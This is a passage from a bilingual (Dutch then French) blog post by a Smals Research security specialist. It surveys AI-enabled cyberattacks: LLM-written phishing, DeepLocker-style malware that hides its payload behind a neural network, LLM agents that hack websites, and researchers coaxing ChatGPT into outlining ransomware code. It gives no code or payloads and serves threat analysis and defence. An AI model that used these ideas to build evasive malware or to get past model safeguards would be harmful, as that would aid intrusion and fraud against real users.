[9]        S. S. Roy, K. V. Naragam, en S. Nilizadeh, ‘Generating phishing attacks using ChatGPT’. arXiv, 8 mei 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2305.05133

[10]      ‘Preparing for AI-enabled cyberattacks’, MIT Technology Review, jan. 2021.

[11]      A. Correa Bahnsen, ‘DeepPhish: Simulating malicious AI’, 6 december 2018.

[12]      J. Segura, ‘Malicious ad served inside Bing’s AI chatbot’, Malwarebytes. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot

[13]      D. Petro en B. Morris, ‘Weaponizing machine learning: Humanity was overrated anyway’, gepresenteerd bij DEF CON 25, 10 augustus 2017. [Online]. Beschikbaar op: https://www.youtube.com/watch?v=wbRx18VZlYA

[14]      G. Deng e.a., ‘PentestGPT: An LLM-empowered automatic penetration testing tool’. arXiv, 13 augustus 2023. Geraadpleegd: 8 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.06782

[15]      R. Fang, R. Bindu, A. Gupta, Q. Zhan, en D. Kang, ‘LLM Agents can Autonomously Hack Websites’. arXiv, 6 februari 2024. Geraadpleegd: 19 februari 2024. [Online]. Beschikbaar op: http://arxiv.org/abs/2402.06664

[16]      M. Gupta, C. Akiri, K. Aryal, E. Parker, en L. Praharaj, ‘From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy’, IEEE Access, vol. 11, pp. 80218-80245, aug. 2023, doi: 10.1109/ACCESS.2023.3300381.

[17]      M. Hutchins, ‘A realistic look at implications of ChatGPT for cybercrime’, MalwareTech. Geraadpleegd: 6 februari 2024. [Online]. Beschikbaar op: https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html

[18]      K. Chung, Z. T. Kalbarczyk, en R. K. Iyer, ‘Availability attacks on computing systems through alteration of environmental control: smart malware approach’, in Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems, Montreal Quebec Canada: ACM, apr. 2019, pp. 1-12. doi: 10.1145/3302509.3311041.

[19]      N. Kaloudi en J. Li, ‘The AI-based cyber threat landscape: A survey’, ACM Comput. Surv., vol. 53, nr. 1, pp. 1-34, feb. 2020, doi: https://dl.acm.org/doi/abs/10.1145/3372823.

Bijlage – Phishingmails genereren

Hier volgen enkele voorbeelden van hoe je phishingmails kunt genereren met ChatGPT (gegenereerd met versie 4.0 op 9 februari 2024):

Voetnoten

¹   De ATLAS knowledge base van MITRE (https://atlas.mitre.org/) identificeert een aanzienlijk aantal kwetsbaarheden in AI-gebaseerde systemen. Het gebruik van AI vergroot het aanvalsoppervlak van bestaande systemen.

²   Tegenwoordig zijn dergelijke modellen in staat om Wikipedia in zijn geheel te onthouden. Wikipedia is het resultaat van het cumulatieve werk van talloze vrijwilligers en experts in hun respectieve vakgebieden, over een groot aantal uiteenlopende onderwerpen.

³   Wie heeft er nog nooit een phishingmail ontvangen vol spel- of grammaticafouten, waardoor hij gemakkelijk te herkennen is?

⁴   De meest gebruikte payload voor phishing mails zijn webadressen, volgens een recent rapport van egress [8].

⁵   https://www.blackhat.com/us-18/briefings/schedule/#deeplocker—concealing-targeted-attacks-with-ai-locksmithing-11549

⁶   Een voorbeeld dat wordt gegeven door de auteurs van DeepLocker is het gebruik van gezichtsherkenning van de gebruiker om specifieke individuen aan te vallen. De keuze voor het uitvoeren van kwaadaardige code zou ook gekoppeld kunnen worden aan het gedrag van de gebruiker, de softwareomgeving, enz.

⁷   In sommige opzichten is het voorbeeld vergelijkbaar met de auto’s van Volkswagen Group die hun gedrag veranderden tijdens goedkeuringscycli en waarvan het schandaal in 2015 aan het licht kwam.

⁸ https://github.com/GreyDGL/PentestGPT

⁹   https://en.wikipedia.org/wiki/2017_Ukraine_ransomware_attacks

¹⁰ https://en.wikipedia.org/wiki/REvil

¹¹ https://en.wikipedia.org/wiki/Ryuk_(ransomware)

¹² https://nl.wikipedia.org/wiki/WannaCry

¹³ https://nl.wikipedia.org/wiki/Meltdown_(veiligheidslek)

¹⁴ https://en.wikipedia.org/wiki/Row_hammer

¹⁵ https://nl.wikipedia.org/wiki/Spectre_(veiligheidslek)

_________________________
Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

La plupart des publications traitant « d’intelligence » artificielle (IA) et s’intéressant à la sécurité et aux attaques, se concentrent sur l’étude des attaques touchant les algorithmes d’apprentissage automatique (voir p. ex. [1]) et les défenses contre de telles attaques. Par exemple, les attaques malveillantes traditionnelles sur les systèmes d’IA se produisent lorsqu’un adversaire manipule les données d’entrée pour tromper les algorithmes d’apprentissage automatique, entraînant ainsi une mauvaise classification¹.

Néanmoins, un nombre significatif d’articles étudient aussi l’IA en tant qu’arme possible contre les systèmes d’information – permettant notamment des attaques potentiellement plus rapides, à plus grande échelle et d’une plus large portée – et en tant qu’outil permettant d’améliorer des vecteurs d’attaque existants.

Dans un article précédent, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle » en décrivant quelques techniques de base utilisées en cybersécurité. Dans cet article, nous traiterons de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous détaillerons comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.

Prévisions pessimistes

Dès 2018, Brundage et al. [2] ont fait remarquer que l’utilisation croissante des capacités de l’IA impliquerait trois changements dans le paysage des menaces :

• Une expansion des menaces existantes: l’IA pourrait permettre de réduire le coût des attaques en réduisant la main-d’œuvre nécessaire mais aussi d’atteindre un plus large éventail de cibles potentielles.
• Une introduction de nouvelles menaces: les systèmes d’IA pourraient effectuer des tâches habituellement irréalisables pour un humain.
• Un changement du caractère typique des menaces: les attaques permises par l’utilisation de l’IA pourraient devenir plus efficaces, plus finement ciblées et plus difficiles à attribuer.

Ces prévisions sont corroborées par un rapport récent du centre national de cybersécurité britannique (NCSC) qui prévoit une augmentation du nombre et de l’efficacité des menaces de cybersécurité dues à l’IA [3].

Par exemple, l’accès facile à des modèles massifs de langage pourrait permettre à des adversaires de contourner leurs propres limites en ressources, compétences et/ou connaissances. Par ailleurs, une utilisation incontrôlée d’applications d’IA dans des projets internes à une organisation ou par des employés peu avertis, pourrait créer de nouvelles surfaces d’attaques et occasionner des fuites de données personnelles, de propriété intellectuelle ou d’informations confidentielles.

Hameçonnage et ingénierie sociale

Dès 1966, avec ELIZA, l’un des premiers agents conversationnels, on découvrait que l’humain pouvait se faire tromper par la machine [4]. Le traitement du langage naturel est un cas d’utilisation de l’IA où le texte brut est la source de données à partir de laquelle les modèles sont extraits². Le traitement du langage a été utilisé avec succès pour de nombreuses applications. La détection de courriels non désirés en est un exemple tout comme l’inverse, le contournement des filtres de protection antispam (p. ex. [5]).

L’hameçonnage est particulièrement adapté à cette dernière approche, car des modèles de texte peuvent être utilisés pour identifier les sujets qui intéressent la cible et générer des phrases auxquelles la cible pourrait répondre. Par exemple, dans [6], les auteurs utilisent un modèle de Markov et un réseau de neurones récurrents afin de démontrer la possibilité d’automatiser la génération de messages utilisés dans un processus d’hameçonnage sur Twitter : l’outil apprend à prédire le mot suivant à partir du contexte précédent dans l’historique des publications de la cible. Chaque message est donc adapté à une cible particulière augmentant ainsi la précision de l’attaque.

Étant donnée la capacité des modèles massifs de langages à mieux « comprendre » le contexte, à mieux imiter le texte humain (parfois même avec moins d’erreurs [7]³), on constate que de tels outils sont déjà utilisés pour faciliter l’écriture, avec le ton adéquat, de courriels plausibles provenant de collègues, amis, familles ou site populaires de commerce en ligne, éventuellement en fonction d’informations glanées sur les réseaux sociaux [8] (voir « Annexe – Génération de courriels d’hameçonnage »). Pire, il est aujourd’hui possible, sans connaissances importantes en sécurité, d’utiliser ChatGPT pour générer non seulement des courriels d’hameçonnage mais aussi le site web correspondant [9]. Cela est d’autant plus inquiétant lorsque l’on sait que 94 % des logiciels malveillants détectés sont toujours envoyés par courriel [10].

Un autre exemple de l’utilisation de l’IA pour faciliter les attaques d’hameçonnage est DeepFish [11]. Il s’agit d’un logiciel qui produit de nouvelles adresses web synthétiques d’hameçonnage en apprenant des modèles à partir des adresses web les plus efficaces dans les attaques historiques⁴. Ces adresses peuvent ensuite être utilisées dans des courriels d’hameçonnage ou d’autres canaux comme par exemple des publicités trompeuses. Peu après le lancement de Bing Chat, Microsoft a, sans grande surprise, ajouté la possibilité d’introduire des publicités dans les conversations. Malheureusement, les publicités comportent un risque inhérent et pourraient amener des utilisateurs à la recherche de téléchargements de logiciels, à visiter des sites malveillants et à installer des logiciels malveillants directement à partir d’une conversation sur Bing Chat [12].

« Hacking » automatique

L’IA permet d’exécuter des attaques à la vitesse de la machine. Par exemple, Deephack [13] est un agent logiciel de quelques centaines de lignes de Python qui apprend à s’introduire dans des applications Web à l’aide d’un réseau neuronal, d’essais et d’erreurs. Il apprend à exploiter plusieurs types de vulnérabilités, ouvrant potentiellement la porte à une multitude de nouveaux systèmes de piratage.

DeepLocker⁵ va plus loin en dissimulant ses intentions malveillantes et en s’activant pour des cibles spécifiques. Afin de décider si la machine où il est exécuté, est une cible ou pas, DeepLocker utilise un réseau de neurones artificiels complexe⁶ à la place d’une simple liste de règles. Cela empêche les outils analysant statiquement et dynamiquement le logiciel de détecter la présence de code malveillant⁷. DeepLocker utilise également un autre réseau de neurones afin de générer une clé permettant de chiffrer ou déchiffrer la partie malveillante de son code afin de rendre celui-ci plus difficile à détecter.

Certaines procédures de « hacking » pourraient être simplifiées et accélérées grâce à l’utilisation de modèles génératifs. Des personnes malveillantes pourraient par exemple avoir recours à des outils comme PentestGPT⁸. Cet outil permet en effet, d’aider à gérer différentes tâches d’un processus de test de pénétration, comme l’utilisation d’outils spécifiques (notamment utilisant des commandes avec des options complexes souvent difficiles pour un humain) et la suggestion d’étapes à suivre [14]. Selon ses auteurs il permet même de donner une « intuition » sur ce qu’il convient de faire dans un scénario d’intrusion donné. Il manque cependant de recommandations efficaces pour pouvoir accomplir les tâches de manière indépendante et il n’est pas capable de maintenir une compréhension cohérente du scénario de test. Mais Fang et al. ont montré que des agents alimentés par des modèles massifs de langage tel que ChatGPT peuvent errer par eux-mêmes sur le Web et s’introduire dans des applications Web boguées sans être surveillés [15].

Enfin, des outils d’IA générative entrainés sur des bases de données de vulnérabilités suffisamment larges, pourraient également être utilisés pour automatiser l’analyse de code afin d’identifier des vulnérabilités exploitables, mais les coûts de création de tels modèles sont élevés.

Génération de charge utile et de code malveillant

Dans le contexte d’une cyberattaque, la charge utile est la composante de l’attaque qui cause le préjudice (p. ex. effacement de fichiers). Elle peut être contenue dans un virus ou un ver informatique, une pièce jointe ou encore une requête transférée à une base de données SQL. Selon Gupta et al. [16], un outil d’IA générative pourrait être utilisé pour générer des charges utiles, et dans certains cas, de telle façon qu’elles ne puissent pas être détectées par un pare-feu d’applications Web (« Web Application Firewall (WAF) »).

Un outil d’IA générative pourrait aussi être utilisé pour faciliter l’écriture de logiciels malveillants ou de rançongiciels : Guptal et al. [16] ont conduit différents tests avec ChatGPT en le convainquant notamment de fournir des exemples de code de différents logiciels malveillants tels que NotPetya⁹, REvil¹⁰, Ryuk¹¹ ou WannaCry¹². Les résultats ne sont pas directement utilisables, mais fournissent une structure de haut niveau du code, plutôt évidente pour toute personne ayant déjà programmé, mais qui peut laisser imaginer des améliorations importantes dans les années à venir. Des tests similaires ont aussi été réalisés, avec des résultats similaires, pour des virus exploitant des vulnérabilités telles que Meltdown¹³, RowHammer¹⁴ et Spectre¹⁵.

Hutchins [17] émet cependant de sérieux doutes sur la possibilité de générer des logiciels malveillants grâce à l’IA et en particulier grâce à des outils comme ChatGPT qui sont loin d’être capable de créer des logiciels entièrement fonctionnels mais pourraient, au mieux, fournir de petites briques difficilement assemblables. Il fait également valoir que ce code généré par l’IA existe déjà sur Internet.

Attaques des systèmes physiques

Enfin, si l’on prend comme hypothèse que les systèmes physiques (p. ex. un système de contrôle du refroidissement) sont moins sécurisés que l’infrastructure informatique cible et sont relativement plus faciles à exploiter, alors on peut envisager d’utiliser un logiciel malveillant afin d’attaquer indirectement une infrastructure informatique par le biais du système physique, en déguisant les actions malveillantes en défaillances accidentelles (p. ex. une surchauffe simulée conduisant à un arrêt d’urgence bien réel). C’est ce que montrent Chung et al. [18]. Leur outil apprend automatiquement des stratégies d’attaque à partir des mesures collectées par le système physique.

Analyse des cyberattaques utilisant l’IA

Afin de permettre aux ingénieurs en sécurité d’étudier efficacement la classification des menaces dues à l’IA et leur impact et de mieux comprendre la stratégie des attaquants, Nektaria et al. [19] proposent un cadre d’analyse des cyberattaques tirant parti de l’IA. Il est basé sur le cadre existant et très répandu « Cyber Kill Chain » mis au point par Lockheed Martin et est formé de trois niveaux :

• Étapes de l’attaques et objectifs: ce premier niveau permet de décrire quand un attaquant peut atteindre ses objectifs malveillants en fonction du cycle de vie de la cyberattaque. Il permet de représenter l’intention de l’attaquant et le type de technique d’IA utilisée comme outil pour mener les actions malveillantes, en fonction de chaque phase du cycle de vie de la cyberattaque.
• Impact et classification de l’IA malveillante: ce deuxième niveau est une classification basée sur l’impact de l’utilisation malveillante des techniques d’IA, qui montre son impact potentiel en fonction du stade d’attaque appliqué.
• Classification des méthodes de défense : la défense contre les cyberattaques basées sur l’IA ne peut pas se faire avec une solution simple ou un seul outil. Il est nécessaire d’adopter une approche défensive approfondie tout au long du cycle de vie des cyberattaques afin de lutter contre « l’intelligence » des nouvelles méthodes.

Conclusion

À travers les exemples donnés précédemment, l’IA apparait principalement comme un nouvel outil de « productivité » pour des attaquants professionnels (ou pas) déjà bien motivés. La pire menace que l’IA pourrait faire peser sur la sécurité serait la découverte à grande échelle de classes d’attaques entièrement nouvelles. Cependant, rien ne prouve qu’une telle découverte soit plus probable que celle faite par des acteurs humains.

Néanmoins, de nombreux problèmes restent en suspens quant à la manière de prévenir et d’atténuer ces menaces avancées, mais une bonne analyse des menaces avec un cadre approprié est un bon point de départ. De plus, nous pensons qu’une manière efficace de lutter contre les adversaires tirant partie de l’IA sera également d’utiliser l’IA afin d’être compétitif en termes de portée, de vitesse et d’échelle. Comme nous le verrons dans un dernier article sur le sujet, l’IA pourrait en effet contribuer à l’automatisation de tâche de cyberdéfense, telles que l’évaluation de vulnérabilités, la détection d’intrusions, la réponse à des incidents et le traitement de renseignements sur les menaces.

Références

[1]        N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, et A. Swami, « The limitations of deep learning in adversarial settings ». arXiv, 23 novembre 2015. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/1511.07528

[2]        M. Brundage et al., « The malicious use of artificial intelligence: forecasting, prevention and mitigation », févr. 2018.

[3]        « The near-term impact of AI on the cyber threat », National Cyber Security Centre, janv. 2024. Consulté le: 27 janvier 2024. [En ligne]. Disponible sur: https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf

[4]        J. Weizenbaum, « ELIZA—a computer program for the study of natural language communication between man and machine », Commun. ACM, vol. 9, n^o 1, p. 36‑45, janv. 1966, doi: https://doi.org/10.1145/365153.365168.

[5]        S. Palka et D. McCoy, « Fuzzing e-mail filters with generative grammars and n-gram analysis », in WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies, août 2015.

[6]        J. Seymour et P. Tully, « Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter », présenté à Black Hat USA, 2016, p. 1‑8.

[7]        M. Heikkilä, « How to spot AI-generated text », MIT Technology Review. Consulté le: 11 octobre 2023. [En ligne]. Disponible sur: https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/

[8]        J. Chapman, « Phishing threat trends report – From pretexting to payloads, how have phishing attacks evolved in 2023? », egress, oct. 2023. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf

[9]        S. S. Roy, K. V. Naragam, et S. Nilizadeh, « Generating phishing attacks using ChatGPT ». arXiv, 8 mai 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2305.05133

[10]      « Preparing for AI-enabled cyberattacks », MIT Technology Review, janv. 2021.

[11]      A. Correa Bahnsen, « DeepPhish: Simulating malicious AI », 6 décembre 2018.

[12]      J. Segura, « Malicious ad served inside Bing’s AI chatbot », Malwarebytes. Consulté le: 7 novembre 2023. [En ligne]. Disponible sur: https://www.malwarebytes.com/blog/threat-intelligence/2023/09/malicious-ad-served-inside-bing-ai-chatbot

[13]      D. Petro et B. Morris, « Weaponizing machine learning: Humanity was overrated anyway », présenté à DEF CON 25, 10 août 2017. [En ligne]. Disponible sur: https://www.youtube.com/watch?v=wbRx18VZlYA

[14]      G. Deng et al., « PentestGPT: An LLM-empowered automatic penetration testing tool ». arXiv, 13 août 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.06782

[15]      R. Fang, R. Bindu, A. Gupta, Q. Zhan, et D. Kang, « LLM Agents can Autonomously Hack Websites ». arXiv, 6 février 2024. Consulté le: 19 février 2024. [En ligne]. Disponible sur: http://arxiv.org/abs/2402.06664

[16]      M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », IEEE Access, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.

[17]      M. Hutchins, « A realistic look at implications of ChatGPT for cybercrime », MalwareTech. Consulté le: 6 février 2024. [En ligne]. Disponible sur: https://malwaretech.com/2023/02/a-realistic-look-at-chatgpt-cybercrime.html

[18]      K. Chung, Z. T. Kalbarczyk, et R. K. Iyer, « Availability attacks on computing systems through alteration of environmental control: smart malware approach », in Proceedings of the 10th ACM/IEEE International Conference on Cyber-Physical Systems, Montreal Quebec Canada: ACM, avr. 2019, p. 1‑12. doi: 10.1145/3302509.3311041.

[19]      N. Kaloudi et J. Li, « The AI-based cyber threat landscape: A survey », ACM Comput. Surv., vol. 53, n^o 1, p. 1‑34, févr. 2020, doi: https://dl.acm.org/doi/abs/10.1145/3372823.

Annexe – Génération de courriels d’hameçonnage

Voici quelques exemples de génération de courriels d’hameçonnage avec ChatGPT (généré avec la version 4.0 le 9 février 2024) :

Notes

¹   La base de connaissance ATLAS de MITRE (https://atlas.mitre.org/) recense un nombre important de vulnérabilités des systèmes basés sur l’IA. L’utilisation de l’IA augmente la surface d’attaque des systèmes existants.

²   Aujourd’hui de tels modèles sont capables de mémoriser l’intégralité de Wikipédia, qui est le résultat des travaux cumulés de nombreux bénévoles et experts dans leurs domaines respectifs, sur une myriade de sujets divers.

³   Qui n’a pas déjà reçu un courriel d’hameçonnage plein de fautes d’orthographe ou de grammaire, le rendant facilement identifiable ?

⁴   La charge la plus fréquemment utilisée pour les courriels d’hameçonnage sont les adresses web selon un rapport récent de la société egress [8].

⁵   https://www.blackhat.com/us-18/briefings/schedule/#deeplocker—concealing-targeted-attacks-with-ai-locksmithing-11549

⁶   Un exemple donné par les auteurs de DeepLocker est l’utilisation de la reconnaissance faciale de l’utilisateur pour cibler des personnes particulières avec l’attaque. Le choix d’exécuter du code malveillant pourrait aussi être lié au comportement de l’utilisateur, de l’environnement logiciel, etc.

⁷   D’une certaine façon l’exemple est similaire aux voitures du groupe Volkswagen qui changeaient de comportement lors des cycles d’homologation et dont le scandale a été révélé en 2015.

⁸ https://github.com/GreyDGL/PentestGPT

⁹   https://fr.wikipedia.org/wiki/Cyberattaque_NotPetya

¹⁰ https://fr.wikipedia.org/wiki/REvil

¹¹ https://fr.wikipedia.org/wiki/Ryuk_(logiciel)

¹² https://fr.wikipedia.org/wiki/WannaCry

¹³ https://fr.wikipedia.org/wiki/Meltdown_(vuln%C3%A9rabilit%C3%A9)

¹⁴ https://fr.wikipedia.org/wiki/Mart%C3%A8lement_de_m%C3%A9moire

¹⁵ https://fr.wikipedia.org/wiki/Spectre_(vuln%C3%A9rabilit%C3%A9)

_________________________
Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.